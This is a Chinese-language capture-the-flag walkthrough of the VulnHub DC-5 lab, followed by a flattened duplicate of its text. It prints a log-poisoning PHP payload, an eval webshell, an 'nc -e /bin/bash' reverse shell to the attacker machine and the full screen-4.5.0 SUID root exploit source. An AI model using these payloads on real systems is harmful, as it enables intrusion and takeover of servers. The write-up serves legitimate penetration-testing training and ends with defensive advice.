vulnhub DC-5靶机实战
字数 1048 2025-08-12 11:34:44

DC-5 靶机渗透测试实战教程

0x00 靶机概述

DC-5 是 Vulnhub 上的一个渗透测试靶机,难度中等,主要考察以下技术点:

  • 信息收集与枚举
  • 文件包含漏洞利用
  • 日志污染攻击
  • SUID 提权技术

0x01 环境准备

靶机下载

  • 下载地址:https://www.vulnhub.com/entry/dc-5,314/
  • 网络模式:NAT 模式

攻击机准备

  • Kali Linux 最新版
  • 工具准备:
    • nmap
    • dirsearch/dirb/gobuster
    • Burp Suite
    • netcat
    • 蚁剑或其他 webshell 管理工具

0x02 信息收集

1. 主机发现

arp-scan -l

netdiscover -r 192.168.190.0/24

2. 端口扫描

nmap -sS -p- 192.168.190.133

发现开放 80 端口(HTTP 服务)

3. 目录扫描

使用 dirsearch 进行目录枚举:

python3 dirsearch.py -u http://192.168.190.133/

发现关键页面:

  • /contact.php - 留言板页面
  • /footer.php - 包含动态内容的页脚

0x03 漏洞发现与利用

1. 文件包含漏洞

通过观察发现页脚显示的内容会变化:

© 2017-2020

数字会随机变化,表明可能存在文件包含漏洞。

尝试 LFI 攻击:

http://192.168.190.133/index.php?file=footer.php

2. 日志污染攻击

发现目标使用 Nginx 服务器,尝试读取 Nginx 日志:

http://192.168.190.133/index.php?file=/var/log/nginx/access.log

攻击步骤:

  1. 使用 Burp Suite 拦截请求
  2. 修改 User-Agent 为 PHP 代码:
<?php system($_GET['cmd']); ?>
  1. 发送请求污染日志

3. 获取 Webshell

通过污染后的日志执行命令:

http://192.168.190.133/index.php?file=/var/log/nginx/access.log&cmd=whoami

写入一句话木马:

http://192.168.190.133/index.php?file=/var/log/nginx/access.log&cmd=echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php

使用蚁剑连接:

  • URL: http://192.168.190.133/shell.php
  • 密码: cmd

0x04 权限提升

1. 反弹 Shell

Kali 监听:

nc -lvnp 5678

通过蚁剑执行反弹:

nc -e /bin/bash 192.168.190.128 5678

获取交互式 Shell:

python -c 'import pty; pty.spawn("/bin/bash")'

2. 信息收集

whoami  # www-data
uname -a
cat /etc/issue
find / -perm -u=s -type f 2>/dev/null

发现 screen-4.5.0 存在 SUID 提权漏洞

3. 提权利用

利用 screen-4.5.0 提权:

  1. 下载 exploit:
searchsploit screen 4.5.0
cp /usr/share/exploitdb/exploits/linux/local/41154.sh .
  1. 准备 exploit 文件:
  • libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

__attribute__ ((__constructor__)) void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

编译:

gcc -fPIC -shared -ldl -o libhax.so libhax.c
  • rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

编译:

gcc -o rootshell rootshell.c
  1. 上传文件到目标机(通过蚁剑)

  2. 执行提权:

chmod +x 41154.sh
./41154.sh
whoami  # root

4. 获取 Flag

cd /root
cat thisistheflag.txt

0x05 总结

  1. 信息收集:通过主机发现、端口扫描和目录枚举发现攻击面
  2. 漏洞利用:利用文件包含漏洞读取日志文件,通过日志污染获取 webshell
  3. 权限提升:利用 screen-4.5.0 的 SUID 提权漏洞获取 root 权限
  4. 防御建议
    • 限制文件包含的范围
    • 将日志文件存放在 web 目录之外
    • 及时更新存在漏洞的软件
    • 遵循最小权限原则
DC-5 靶机渗透测试实战教程 0x00 靶机概述 DC-5 是 Vulnhub 上的一个渗透测试靶机,难度中等,主要考察以下技术点: 信息收集与枚举 文件包含漏洞利用 日志污染攻击 SUID 提权技术 0x01 环境准备 靶机下载 下载地址:https://www.vulnhub.com/entry/dc-5,314/ 网络模式:NAT 模式 攻击机准备 Kali Linux 最新版 工具准备: nmap dirsearch/dirb/gobuster Burp Suite netcat 蚁剑或其他 webshell 管理工具 0x02 信息收集 1. 主机发现 或 2. 端口扫描 发现开放 80 端口(HTTP 服务) 3. 目录扫描 使用 dirsearch 进行目录枚举: 发现关键页面: /contact.php - 留言板页面 /footer.php - 包含动态内容的页脚 0x03 漏洞发现与利用 1. 文件包含漏洞 通过观察发现页脚显示的内容会变化: 数字会随机变化,表明可能存在文件包含漏洞。 尝试 LFI 攻击: 2. 日志污染攻击 发现目标使用 Nginx 服务器,尝试读取 Nginx 日志: 攻击步骤: 使用 Burp Suite 拦截请求 修改 User-Agent 为 PHP 代码: 发送请求污染日志 3. 获取 Webshell 通过污染后的日志执行命令: 写入一句话木马: 使用蚁剑连接: URL: http://192.168.190.133/shell.php 密码: cmd 0x04 权限提升 1. 反弹 Shell Kali 监听: 通过蚁剑执行反弹: 获取交互式 Shell: 2. 信息收集 发现 screen-4.5.0 存在 SUID 提权漏洞 3. 提权利用 利用 screen-4.5.0 提权: 下载 exploit: 准备 exploit 文件: libhax.c 编译: rootshell.c 编译: 上传文件到目标机(通过蚁剑) 执行提权: 4. 获取 Flag 0x05 总结 信息收集 :通过主机发现、端口扫描和目录枚举发现攻击面 漏洞利用 :利用文件包含漏洞读取日志文件,通过日志污染获取 webshell 权限提升 :利用 screen-4.5.0 的 SUID 提权漏洞获取 root 权限 防御建议 : 限制文件包含的范围 将日志文件存放在 web 目录之外 及时更新存在漏洞的软件 遵循最小权限原则